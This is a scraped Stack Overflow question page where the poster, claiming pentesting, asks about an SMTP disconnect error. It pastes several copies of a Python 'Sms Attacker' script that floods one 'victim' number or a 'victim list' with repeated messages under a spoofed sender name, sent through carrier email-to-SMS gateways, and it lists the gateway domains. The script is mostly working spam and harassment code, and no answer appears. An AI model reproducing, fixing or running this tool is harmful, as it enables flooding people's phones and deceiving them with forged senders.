How to fix ;'smtplib.SMTPServerDisconnected: Connection unexpectedly closed' error?How to merge two dictionaries in a single expression?How do I check if a list is empty?How do I check whether a file exists without exceptions?How can I safely create a nested directory?How do I connect to a MySQL Database in Python?How to get the current time in PythonHow to make a chain of function decorators?How to make a flat list out of list of listsHow do I pass a variable by reference?How do I list all files of a directory?
Why is long-term living in Almost-Earth causing severe health problems?
When to use и or а as “and”?
What's the best way to quit a job mostly because of money?
How can powerful telekinesis avoid violating Newton's 3rd Law?
Do Veracrypt encrypted volumes have any kind of brute force protection?
Is it true that "only photographers care about noise"?
Can I use 220 V outlets on a 15 ampere breaker and wire it up as 110 V?
Is Dumbledore a human lie detector?
C++ logging library
Is there a better way to do partial sums of array items in JavaScript?
What do I need to do, tax-wise, for a sudden windfall?
As easy as Three, Two, One... How fast can you go from Five to Four?
Oil draining out shortly after turbo hose detached/broke
What is the STRONGEST end-of-line knot to use if you want to use a steel-thimble at the end, so that you've got a steel-eyelet at the end of the line?
Why do (or did, until very recently) aircraft transponders wait to be interrogated before broadcasting beacon signals?
Why does there seem to be an extreme lack of public trashcans in Taiwan?
My mom's return ticket is 3 days after I-94 expires
In American Politics, why is the Justice Department under the President?
If the pressure inside and outside a balloon balance, then why does air leave when it pops?
Why is my power MOSFET heating up when on?
Grandpa has another non math question
How to handle when PCs taste a potion that is actually poison?
Mathematica 12 has gotten worse at solving simple equations?
post-head emotive modifiers such as "in the world" and "the hell"
How to fix ;'smtplib.SMTPServerDisconnected: Connection unexpectedly closed' error?
How to merge two dictionaries in a single expression?How do I check if a list is empty?How do I check whether a file exists without exceptions?How can I safely create a nested directory?How do I connect to a MySQL Database in Python?How to get the current time in PythonHow to make a chain of function decorators?How to make a flat list out of list of listsHow do I pass a variable by reference?How do I list all files of a directory?
.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty,.everyoneloves__bot-mid-leaderboard:empty height:90px;width:728px;box-sizing:border-box;
I am trying to do some pentesting using this new software. Its supposed to spoof SMS messages using emails (you can send text messages using your phone number as the email name and the phone providers email address end (example for T-Mobile): tmomail.net, so a regular email to a mobile phone would be 1234567891@tmomail.net). For reference, I am using Zoho mail.
Here is the code:
#!/usr/bin/env python
#I must say if you are looking at the code, any changes you make, i am not responsible for the outcome.
#If it stops working because you have changed it, you can contact me at github, but do not blame me
#by reading this and opening the file you acknowledge i am not responsible for how you use this.
#but I implore you to not use this illegally
import random
import string
import smtplib
import os
from time import sleep
from getpass import getpass
from subprocess import call
class color:
PURPLE = '33[95m'
CYAN = '33[96m'
DARKCYAN = '33[36m'
BLUE = '33[94m'
GREEN = '33[92m'
YELLOW = '33[93m'
RED = '33[91m'
BOLD = '33[1m'
UNDERLINE = '33[4m'
END = '33[0m'
W = '33[0m' # white (normal)
R = '33[31m' # red
G = '33[32m' # green
O = '33[33m' # orange
B = '33[34m' # blue
P = '33[35m' # purple
C = '33[36m' # cyan
GR = '33[37m' # gray
T = '33[93m' # tan
def clear():
os.system('clear')
def msms():
clear()
print ""+G+" "
print """
[+]======================[+]
[!] Mass List SMS Attack:[!]
[+]======================[+]
When creating the file list, remember to attack the carrier to the end of each number.
[+] example. 4567834214@txt.att.net[+]
here is a list of the different carrier types.
You can look them up also at online if theres a new one.
"AT&T: @txt.att.net"
"Qwest: @tmomail.net"
"T-Mobile: @tmomail.net"
"Verizon: @vtext.com"
"Sprint: @messaging.sprintpcs.com or @pm.sprint.com"
"Virgin Mobile: @vmobl.com "
"Nextel: @messaging.nextel.com"
"Alltel: @message.alltel.com"
"Metro PCS: @mymetropcs.com"
"Powertel: @ptel.com"
"Boost Mobile: @myboostmobile.com"
"Suncom: @tms.suncom.com"
"tracfone: @mmst5.tracfone.com"
"U.S Cellular: @email.uscc.net"
"Put the @ sign before the provider"
"""
print ""+T+" "
phonelst = raw_input(color.UNDERLINE + 'Path to victem list' + color.END)
phonelst = open(phonelst, 'rb')
print ""+T+" "
zoho = raw_input(color.UNDERLINE + 'Your email>' + color.END)
print ""+T+" "
fromname = '.' + ' ' + raw_input(color.UNDERLINE + 'Name of the user you want target to see' + color.END)
print ""+T+" "
password = getpass(color.UNDERLINE + 'Password>' + color.END)
o = smtplib.SMTP("smtp.zoho.com", 587)
o.starttls()
o.login(zoho, password)
message = raw_input(color.UNDERLINE + 'Message>' + color.END)
print ""+T+" "
counter = input(color.UNDERLINE + 'How many times>' + color.END)
print ""+T+" "
for phone in phonelst:
try:
spam_msg = "From: rnTo: rnrn ".format(fromname, phone, message)
print (color.UNDERLINE + ''+G+'[*] Sending...' + color.END)
for i in range(counter):
o.sendmail(fromname, phone, spam_msg)
sleep(10)
print(phone)
print (color.UNDERLINE + ''+G+'[*] Successfully sent' + color.END), counter ,(color.UNDERLINE + ''+G+'[*] messages!' + color.END)
except:
print("Sorry you typed something wrong. Please review the info you typed")
print("your info is right here:", " ", zoho, " ", password, " ", spam_msg)
b = raw_input("Press Enter to Continue")
msms()
def ssms():
clear()
print ""+B+" "
print ("""
[+]==========================================[+]
[+]Single SMS Attack-------------------------[+]
[+]==========================================[+]
"AT&T: @txt.att.net"
"Qwest: @tmomail.net"
"T-Mobile: @tmomail.net"
"Verizon: @vtext.com"
"Sprint: @messaging.sprintpcs.com or @pm.sprint.com"
"Virgin Mobile: @vmobl.com "
"Nextel: @messaging.nextel.com"
"Alltel: @message.alltel.com"
"Metro PCS: @mymetropcs.com"
"Powertel: @ptel.com"
"Boost Mobile: @myboostmobile.com"
"Suncom: @tms.suncom.com"
"tracfone: @mmst5.tracfone.com"
"U.S Cellular: @email.uscc.net"
"Put the @ sign before the provider"
""")
provider = raw_input(color.UNDERLINE + 'Enter cellular provider>' + color.END)
print ""+T+" "
phone_num = raw_input(color.UNDERLINE + 'Victims phone number>' + color.END) + provider
print ""+T+" "
zoho = raw_input(color.UNDERLINE + 'Your email>' + color.END)
print ""+T+" "
password = getpass(color.UNDERLINE + 'Password>' + color.END)
fromname = '.' + ' ' + raw_input(color.UNDERLINE + 'Name of the user you want target to see' + color.END)
print ("This function should make your message anonymous, unless google fixes the this flaw")
o = smtplib.SMTP("smtp.zoho.com", 587)
o.starttls()
o.login(zoho, password)
print ""+T+" "
message = raw_input(color.UNDERLINE + 'Message>' + color.END)
print ""+T+" "
counter = input(color.UNDERLINE + 'How many times>' + color.END)
print ""+T+" "
spam_msg = "From: rnTo: rnrn ".format(fromname, phone_num, message)
print (color.UNDERLINE + ''+G+'[*] Sending...' + color.END)
for i in range(counter):
o.sendmail(zoho, phone_num, spam_msg)
sleep(10)
print(phone_num)
print (color.UNDERLINE + ''+G+'[*] Successfully sent' + color.END)
def menu():
clear()
print ""+O+" "
print ("""
[+]==============================[+]
[+]::::::::Sms Attacker::::::::::[+]
[+]==============================[+]
+++++++++++++++++++++++++++++++++++++++}
[!]------------------------------------}
[!]----====-------=----=-----====------}
[!]---=----------=-=--=-=---=----------}
[!]---=---------=---==---=--=----------}
[!]----====----=----==----=--====------}
[!]--------=---=-----=----=------=-----}
[!]--------=---=----=-----=------=-----}
[!]----====----=-----=----=--====------}
+++++++++++++++++++++++++++++++++++++++}
========================================
Created and Designed by Andrew El+++++++
========================================
***********By Chosing an option*********
You recognize and accept the disclaimer+
I am not responsible how you use this
software. take great care in using it...
""")
print ""+P+" "
print ("""
+++++++++++++++++++++++++++++++++++++++++++
this sms attack will send spam anonymously
(whatever you choose) to target as many times
you type in.
++++++++++++++++++++++++++++++++++++++++++++
options: s=single target m=mass email list
++++++++++++++++++++++++++++++++++++++++++++
**************lowercase*********************
""")
print ""+C+" "
option = raw_input("option:")
if option == "s":
clear()
ssms()
elif option == "m":
clear()
msms()
else:
clear()
print ""+R+" "
print ("sorry just type in lowercase 's' or 'm' only ")
p = raw_input("Press enter to continue")
menu()
menu()
python sms spoofing
add a comment |
I am trying to do some pentesting using this new software. Its supposed to spoof SMS messages using emails (you can send text messages using your phone number as the email name and the phone providers email address end (example for T-Mobile): tmomail.net, so a regular email to a mobile phone would be 1234567891@tmomail.net). For reference, I am using Zoho mail.
Here is the code:
#!/usr/bin/env python
#I must say if you are looking at the code, any changes you make, i am not responsible for the outcome.
#If it stops working because you have changed it, you can contact me at github, but do not blame me
#by reading this and opening the file you acknowledge i am not responsible for how you use this.
#but I implore you to not use this illegally
import random
import string
import smtplib
import os
from time import sleep
from getpass import getpass
from subprocess import call
class color:
PURPLE = '33[95m'
CYAN = '33[96m'
DARKCYAN = '33[36m'
BLUE = '33[94m'
GREEN = '33[92m'
YELLOW = '33[93m'
RED = '33[91m'
BOLD = '33[1m'
UNDERLINE = '33[4m'
END = '33[0m'
W = '33[0m' # white (normal)
R = '33[31m' # red
G = '33[32m' # green
O = '33[33m' # orange
B = '33[34m' # blue
P = '33[35m' # purple
C = '33[36m' # cyan
GR = '33[37m' # gray
T = '33[93m' # tan
def clear():
os.system('clear')
def msms():
clear()
print ""+G+" "
print """
[+]======================[+]
[!] Mass List SMS Attack:[!]
[+]======================[+]
When creating the file list, remember to attack the carrier to the end of each number.
[+] example. 4567834214@txt.att.net[+]
here is a list of the different carrier types.
You can look them up also at online if theres a new one.
"AT&T: @txt.att.net"
"Qwest: @tmomail.net"
"T-Mobile: @tmomail.net"
"Verizon: @vtext.com"
"Sprint: @messaging.sprintpcs.com or @pm.sprint.com"
"Virgin Mobile: @vmobl.com "
"Nextel: @messaging.nextel.com"
"Alltel: @message.alltel.com"
"Metro PCS: @mymetropcs.com"
"Powertel: @ptel.com"
"Boost Mobile: @myboostmobile.com"
"Suncom: @tms.suncom.com"
"tracfone: @mmst5.tracfone.com"
"U.S Cellular: @email.uscc.net"
"Put the @ sign before the provider"
"""
print ""+T+" "
phonelst = raw_input(color.UNDERLINE + 'Path to victem list' + color.END)
phonelst = open(phonelst, 'rb')
print ""+T+" "
zoho = raw_input(color.UNDERLINE + 'Your email>' + color.END)
print ""+T+" "
fromname = '.' + ' ' + raw_input(color.UNDERLINE + 'Name of the user you want target to see' + color.END)
print ""+T+" "
password = getpass(color.UNDERLINE + 'Password>' + color.END)
o = smtplib.SMTP("smtp.zoho.com", 587)
o.starttls()
o.login(zoho, password)
message = raw_input(color.UNDERLINE + 'Message>' + color.END)
print ""+T+" "
counter = input(color.UNDERLINE + 'How many times>' + color.END)
print ""+T+" "
for phone in phonelst:
try:
spam_msg = "From: rnTo: rnrn ".format(fromname, phone, message)
print (color.UNDERLINE + ''+G+'[*] Sending...' + color.END)
for i in range(counter):
o.sendmail(fromname, phone, spam_msg)
sleep(10)
print(phone)
print (color.UNDERLINE + ''+G+'[*] Successfully sent' + color.END), counter ,(color.UNDERLINE + ''+G+'[*] messages!' + color.END)
except:
print("Sorry you typed something wrong. Please review the info you typed")
print("your info is right here:", " ", zoho, " ", password, " ", spam_msg)
b = raw_input("Press Enter to Continue")
msms()
def ssms():
clear()
print ""+B+" "
print ("""
[+]==========================================[+]
[+]Single SMS Attack-------------------------[+]
[+]==========================================[+]
"AT&T: @txt.att.net"
"Qwest: @tmomail.net"
"T-Mobile: @tmomail.net"
"Verizon: @vtext.com"
"Sprint: @messaging.sprintpcs.com or @pm.sprint.com"
"Virgin Mobile: @vmobl.com "
"Nextel: @messaging.nextel.com"
"Alltel: @message.alltel.com"
"Metro PCS: @mymetropcs.com"
"Powertel: @ptel.com"
"Boost Mobile: @myboostmobile.com"
"Suncom: @tms.suncom.com"
"tracfone: @mmst5.tracfone.com"
"U.S Cellular: @email.uscc.net"
"Put the @ sign before the provider"
""")
provider = raw_input(color.UNDERLINE + 'Enter cellular provider>' + color.END)
print ""+T+" "
phone_num = raw_input(color.UNDERLINE + 'Victims phone number>' + color.END) + provider
print ""+T+" "
zoho = raw_input(color.UNDERLINE + 'Your email>' + color.END)
print ""+T+" "
password = getpass(color.UNDERLINE + 'Password>' + color.END)
fromname = '.' + ' ' + raw_input(color.UNDERLINE + 'Name of the user you want target to see' + color.END)
print ("This function should make your message anonymous, unless google fixes the this flaw")
o = smtplib.SMTP("smtp.zoho.com", 587)
o.starttls()
o.login(zoho, password)
print ""+T+" "
message = raw_input(color.UNDERLINE + 'Message>' + color.END)
print ""+T+" "
counter = input(color.UNDERLINE + 'How many times>' + color.END)
print ""+T+" "
spam_msg = "From: rnTo: rnrn ".format(fromname, phone_num, message)
print (color.UNDERLINE + ''+G+'[*] Sending...' + color.END)
for i in range(counter):
o.sendmail(zoho, phone_num, spam_msg)
sleep(10)
print(phone_num)
print (color.UNDERLINE + ''+G+'[*] Successfully sent' + color.END)
def menu():
clear()
print ""+O+" "
print ("""
[+]==============================[+]
[+]::::::::Sms Attacker::::::::::[+]
[+]==============================[+]
+++++++++++++++++++++++++++++++++++++++}
[!]------------------------------------}
[!]----====-------=----=-----====------}
[!]---=----------=-=--=-=---=----------}
[!]---=---------=---==---=--=----------}
[!]----====----=----==----=--====------}
[!]--------=---=-----=----=------=-----}
[!]--------=---=----=-----=------=-----}
[!]----====----=-----=----=--====------}
+++++++++++++++++++++++++++++++++++++++}
========================================
Created and Designed by Andrew El+++++++
========================================
***********By Chosing an option*********
You recognize and accept the disclaimer+
I am not responsible how you use this
software. take great care in using it...
""")
print ""+P+" "
print ("""
+++++++++++++++++++++++++++++++++++++++++++
this sms attack will send spam anonymously
(whatever you choose) to target as many times
you type in.
++++++++++++++++++++++++++++++++++++++++++++
options: s=single target m=mass email list
++++++++++++++++++++++++++++++++++++++++++++
**************lowercase*********************
""")
print ""+C+" "
option = raw_input("option:")
if option == "s":
clear()
ssms()
elif option == "m":
clear()
msms()
else:
clear()
print ""+R+" "
print ("sorry just type in lowercase 's' or 'm' only ")
p = raw_input("Press enter to continue")
menu()
menu()
python sms spoofing
add a comment |
I am trying to do some pentesting using this new software. Its supposed to spoof SMS messages using emails (you can send text messages using your phone number as the email name and the phone providers email address end (example for T-Mobile): tmomail.net, so a regular email to a mobile phone would be 1234567891@tmomail.net). For reference, I am using Zoho mail.
Here is the code:
#!/usr/bin/env python
#I must say if you are looking at the code, any changes you make, i am not responsible for the outcome.
#If it stops working because you have changed it, you can contact me at github, but do not blame me
#by reading this and opening the file you acknowledge i am not responsible for how you use this.
#but I implore you to not use this illegally
import random
import string
import smtplib
import os
from time import sleep
from getpass import getpass
from subprocess import call
class color:
PURPLE = '33[95m'
CYAN = '33[96m'
DARKCYAN = '33[36m'
BLUE = '33[94m'
GREEN = '33[92m'
YELLOW = '33[93m'
RED = '33[91m'
BOLD = '33[1m'
UNDERLINE = '33[4m'
END = '33[0m'
W = '33[0m' # white (normal)
R = '33[31m' # red
G = '33[32m' # green
O = '33[33m' # orange
B = '33[34m' # blue
P = '33[35m' # purple
C = '33[36m' # cyan
GR = '33[37m' # gray
T = '33[93m' # tan
def clear():
os.system('clear')
def msms():
clear()
print ""+G+" "
print """
[+]======================[+]
[!] Mass List SMS Attack:[!]
[+]======================[+]
When creating the file list, remember to attack the carrier to the end of each number.
[+] example. 4567834214@txt.att.net[+]
here is a list of the different carrier types.
You can look them up also at online if theres a new one.
"AT&T: @txt.att.net"
"Qwest: @tmomail.net"
"T-Mobile: @tmomail.net"
"Verizon: @vtext.com"
"Sprint: @messaging.sprintpcs.com or @pm.sprint.com"
"Virgin Mobile: @vmobl.com "
"Nextel: @messaging.nextel.com"
"Alltel: @message.alltel.com"
"Metro PCS: @mymetropcs.com"
"Powertel: @ptel.com"
"Boost Mobile: @myboostmobile.com"
"Suncom: @tms.suncom.com"
"tracfone: @mmst5.tracfone.com"
"U.S Cellular: @email.uscc.net"
"Put the @ sign before the provider"
"""
print ""+T+" "
phonelst = raw_input(color.UNDERLINE + 'Path to victem list' + color.END)
phonelst = open(phonelst, 'rb')
print ""+T+" "
zoho = raw_input(color.UNDERLINE + 'Your email>' + color.END)
print ""+T+" "
fromname = '.' + ' ' + raw_input(color.UNDERLINE + 'Name of the user you want target to see' + color.END)
print ""+T+" "
password = getpass(color.UNDERLINE + 'Password>' + color.END)
o = smtplib.SMTP("smtp.zoho.com", 587)
o.starttls()
o.login(zoho, password)
message = raw_input(color.UNDERLINE + 'Message>' + color.END)
print ""+T+" "
counter = input(color.UNDERLINE + 'How many times>' + color.END)
print ""+T+" "
for phone in phonelst:
try:
spam_msg = "From: rnTo: rnrn ".format(fromname, phone, message)
print (color.UNDERLINE + ''+G+'[*] Sending...' + color.END)
for i in range(counter):
o.sendmail(fromname, phone, spam_msg)
sleep(10)
print(phone)
print (color.UNDERLINE + ''+G+'[*] Successfully sent' + color.END), counter ,(color.UNDERLINE + ''+G+'[*] messages!' + color.END)
except:
print("Sorry you typed something wrong. Please review the info you typed")
print("your info is right here:", " ", zoho, " ", password, " ", spam_msg)
b = raw_input("Press Enter to Continue")
msms()
def ssms():
clear()
print ""+B+" "
print ("""
[+]==========================================[+]
[+]Single SMS Attack-------------------------[+]
[+]==========================================[+]
"AT&T: @txt.att.net"
"Qwest: @tmomail.net"
"T-Mobile: @tmomail.net"
"Verizon: @vtext.com"
"Sprint: @messaging.sprintpcs.com or @pm.sprint.com"
"Virgin Mobile: @vmobl.com "
"Nextel: @messaging.nextel.com"
"Alltel: @message.alltel.com"
"Metro PCS: @mymetropcs.com"
"Powertel: @ptel.com"
"Boost Mobile: @myboostmobile.com"
"Suncom: @tms.suncom.com"
"tracfone: @mmst5.tracfone.com"
"U.S Cellular: @email.uscc.net"
"Put the @ sign before the provider"
""")
provider = raw_input(color.UNDERLINE + 'Enter cellular provider>' + color.END)
print ""+T+" "
phone_num = raw_input(color.UNDERLINE + 'Victims phone number>' + color.END) + provider
print ""+T+" "
zoho = raw_input(color.UNDERLINE + 'Your email>' + color.END)
print ""+T+" "
password = getpass(color.UNDERLINE + 'Password>' + color.END)
fromname = '.' + ' ' + raw_input(color.UNDERLINE + 'Name of the user you want target to see' + color.END)
print ("This function should make your message anonymous, unless google fixes the this flaw")
o = smtplib.SMTP("smtp.zoho.com", 587)
o.starttls()
o.login(zoho, password)
print ""+T+" "
message = raw_input(color.UNDERLINE + 'Message>' + color.END)
print ""+T+" "
counter = input(color.UNDERLINE + 'How many times>' + color.END)
print ""+T+" "
spam_msg = "From: rnTo: rnrn ".format(fromname, phone_num, message)
print (color.UNDERLINE + ''+G+'[*] Sending...' + color.END)
for i in range(counter):
o.sendmail(zoho, phone_num, spam_msg)
sleep(10)
print(phone_num)
print (color.UNDERLINE + ''+G+'[*] Successfully sent' + color.END)
def menu():
clear()
print ""+O+" "
print ("""
[+]==============================[+]
[+]::::::::Sms Attacker::::::::::[+]
[+]==============================[+]
+++++++++++++++++++++++++++++++++++++++}
[!]------------------------------------}
[!]----====-------=----=-----====------}
[!]---=----------=-=--=-=---=----------}
[!]---=---------=---==---=--=----------}
[!]----====----=----==----=--====------}
[!]--------=---=-----=----=------=-----}
[!]--------=---=----=-----=------=-----}
[!]----====----=-----=----=--====------}
+++++++++++++++++++++++++++++++++++++++}
========================================
Created and Designed by Andrew El+++++++
========================================
***********By Chosing an option*********
You recognize and accept the disclaimer+
I am not responsible how you use this
software. take great care in using it...
""")
print ""+P+" "
print ("""
+++++++++++++++++++++++++++++++++++++++++++
this sms attack will send spam anonymously
(whatever you choose) to target as many times
you type in.
++++++++++++++++++++++++++++++++++++++++++++
options: s=single target m=mass email list
++++++++++++++++++++++++++++++++++++++++++++
**************lowercase*********************
""")
print ""+C+" "
option = raw_input("option:")
if option == "s":
clear()
ssms()
elif option == "m":
clear()
msms()
else:
clear()
print ""+R+" "
print ("sorry just type in lowercase 's' or 'm' only ")
p = raw_input("Press enter to continue")
menu()
menu()
python sms spoofing
I am trying to do some pentesting using this new software. Its supposed to spoof SMS messages using emails (you can send text messages using your phone number as the email name and the phone providers email address end (example for T-Mobile): tmomail.net, so a regular email to a mobile phone would be 1234567891@tmomail.net). For reference, I am using Zoho mail.
Here is the code:
#!/usr/bin/env python
#I must say if you are looking at the code, any changes you make, i am not responsible for the outcome.
#If it stops working because you have changed it, you can contact me at github, but do not blame me
#by reading this and opening the file you acknowledge i am not responsible for how you use this.
#but I implore you to not use this illegally
import random
import string
import smtplib
import os
from time import sleep
from getpass import getpass
from subprocess import call
class color:
PURPLE = '33[95m'
CYAN = '33[96m'
DARKCYAN = '33[36m'
BLUE = '33[94m'
GREEN = '33[92m'
YELLOW = '33[93m'
RED = '33[91m'
BOLD = '33[1m'
UNDERLINE = '33[4m'
END = '33[0m'
W = '33[0m' # white (normal)
R = '33[31m' # red
G = '33[32m' # green
O = '33[33m' # orange
B = '33[34m' # blue
P = '33[35m' # purple
C = '33[36m' # cyan
GR = '33[37m' # gray
T = '33[93m' # tan
def clear():
os.system('clear')
def msms():
clear()
print ""+G+" "
print """
[+]======================[+]
[!] Mass List SMS Attack:[!]
[+]======================[+]
When creating the file list, remember to attack the carrier to the end of each number.
[+] example. 4567834214@txt.att.net[+]
here is a list of the different carrier types.
You can look them up also at online if theres a new one.
"AT&T: @txt.att.net"
"Qwest: @tmomail.net"
"T-Mobile: @tmomail.net"
"Verizon: @vtext.com"
"Sprint: @messaging.sprintpcs.com or @pm.sprint.com"
"Virgin Mobile: @vmobl.com "
"Nextel: @messaging.nextel.com"
"Alltel: @message.alltel.com"
"Metro PCS: @mymetropcs.com"
"Powertel: @ptel.com"
"Boost Mobile: @myboostmobile.com"
"Suncom: @tms.suncom.com"
"tracfone: @mmst5.tracfone.com"
"U.S Cellular: @email.uscc.net"
"Put the @ sign before the provider"
"""
print ""+T+" "
phonelst = raw_input(color.UNDERLINE + 'Path to victem list' + color.END)
phonelst = open(phonelst, 'rb')
print ""+T+" "
zoho = raw_input(color.UNDERLINE + 'Your email>' + color.END)
print ""+T+" "
fromname = '.' + ' ' + raw_input(color.UNDERLINE + 'Name of the user you want target to see' + color.END)
print ""+T+" "
password = getpass(color.UNDERLINE + 'Password>' + color.END)
o = smtplib.SMTP("smtp.zoho.com", 587)
o.starttls()
o.login(zoho, password)
message = raw_input(color.UNDERLINE + 'Message>' + color.END)
print ""+T+" "
counter = input(color.UNDERLINE + 'How many times>' + color.END)
print ""+T+" "
for phone in phonelst:
try:
spam_msg = "From: rnTo: rnrn ".format(fromname, phone, message)
print (color.UNDERLINE + ''+G+'[*] Sending...' + color.END)
for i in range(counter):
o.sendmail(fromname, phone, spam_msg)
sleep(10)
print(phone)
print (color.UNDERLINE + ''+G+'[*] Successfully sent' + color.END), counter ,(color.UNDERLINE + ''+G+'[*] messages!' + color.END)
except:
print("Sorry you typed something wrong. Please review the info you typed")
print("your info is right here:", " ", zoho, " ", password, " ", spam_msg)
b = raw_input("Press Enter to Continue")
msms()
def ssms():
clear()
print ""+B+" "
print ("""
[+]==========================================[+]
[+]Single SMS Attack-------------------------[+]
[+]==========================================[+]
"AT&T: @txt.att.net"
"Qwest: @tmomail.net"
"T-Mobile: @tmomail.net"
"Verizon: @vtext.com"
"Sprint: @messaging.sprintpcs.com or @pm.sprint.com"
"Virgin Mobile: @vmobl.com "
"Nextel: @messaging.nextel.com"
"Alltel: @message.alltel.com"
"Metro PCS: @mymetropcs.com"
"Powertel: @ptel.com"
"Boost Mobile: @myboostmobile.com"
"Suncom: @tms.suncom.com"
"tracfone: @mmst5.tracfone.com"
"U.S Cellular: @email.uscc.net"
"Put the @ sign before the provider"
""")
provider = raw_input(color.UNDERLINE + 'Enter cellular provider>' + color.END)
print ""+T+" "
phone_num = raw_input(color.UNDERLINE + 'Victims phone number>' + color.END) + provider
print ""+T+" "
zoho = raw_input(color.UNDERLINE + 'Your email>' + color.END)
print ""+T+" "
password = getpass(color.UNDERLINE + 'Password>' + color.END)
fromname = '.' + ' ' + raw_input(color.UNDERLINE + 'Name of the user you want target to see' + color.END)
print ("This function should make your message anonymous, unless google fixes the this flaw")
o = smtplib.SMTP("smtp.zoho.com", 587)
o.starttls()
o.login(zoho, password)
print ""+T+" "
message = raw_input(color.UNDERLINE + 'Message>' + color.END)
print ""+T+" "
counter = input(color.UNDERLINE + 'How many times>' + color.END)
print ""+T+" "
spam_msg = "From: rnTo: rnrn ".format(fromname, phone_num, message)
print (color.UNDERLINE + ''+G+'[*] Sending...' + color.END)
for i in range(counter):
o.sendmail(zoho, phone_num, spam_msg)
sleep(10)
print(phone_num)
print (color.UNDERLINE + ''+G+'[*] Successfully sent' + color.END)
def menu():
clear()
print ""+O+" "
print ("""
[+]==============================[+]
[+]::::::::Sms Attacker::::::::::[+]
[+]==============================[+]
+++++++++++++++++++++++++++++++++++++++}
[!]------------------------------------}
[!]----====-------=----=-----====------}
[!]---=----------=-=--=-=---=----------}
[!]---=---------=---==---=--=----------}
[!]----====----=----==----=--====------}
[!]--------=---=-----=----=------=-----}
[!]--------=---=----=-----=------=-----}
[!]----====----=-----=----=--====------}
+++++++++++++++++++++++++++++++++++++++}
========================================
Created and Designed by Andrew El+++++++
========================================
***********By Chosing an option*********
You recognize and accept the disclaimer+
I am not responsible how you use this
software. take great care in using it...
""")
print ""+P+" "
print ("""
+++++++++++++++++++++++++++++++++++++++++++
this sms attack will send spam anonymously
(whatever you choose) to target as many times
you type in.
++++++++++++++++++++++++++++++++++++++++++++
options: s=single target m=mass email list
++++++++++++++++++++++++++++++++++++++++++++
**************lowercase*********************
""")
print ""+C+" "
option = raw_input("option:")
if option == "s":
clear()
ssms()
elif option == "m":
clear()
msms()
else:
clear()
print ""+R+" "
print ("sorry just type in lowercase 's' or 'm' only ")
p = raw_input("Press enter to continue")
menu()
menu()
python sms spoofing
python sms spoofing
edited Mar 24 at 23:45
Vivian French
asked Mar 24 at 22:54
Vivian FrenchVivian French
12
12
add a comment |
add a comment |
0
active
oldest
votes
Your Answer
StackExchange.ifUsing("editor", function ()
StackExchange.using("externalEditor", function ()
StackExchange.using("snippets", function ()
StackExchange.snippets.init();
);
);
, "code-snippets");
StackExchange.ready(function()
var channelOptions =
tags: "".split(" "),
id: "1"
;
initTagRenderer("".split(" "), "".split(" "), channelOptions);
StackExchange.using("externalEditor", function()
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled)
StackExchange.using("snippets", function()
createEditor();
);
else
createEditor();
);
function createEditor()
StackExchange.prepareEditor(
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: true,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: 10,
bindNavPrevention: true,
postfix: "",
imageUploader:
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
,
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
);
);
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f55329363%2fhow-to-fix-smtplib-smtpserverdisconnected-connection-unexpectedly-closed-err%23new-answer', 'question_page');
);
Post as a guest
Required, but never shown
0
active
oldest
votes
0
active
oldest
votes
active
oldest
votes
active
oldest
votes
Thanks for contributing an answer to Stack Overflow!
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f55329363%2fhow-to-fix-smtplib-smtpserverdisconnected-connection-unexpectedly-closed-err%23new-answer', 'question_page');
);
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown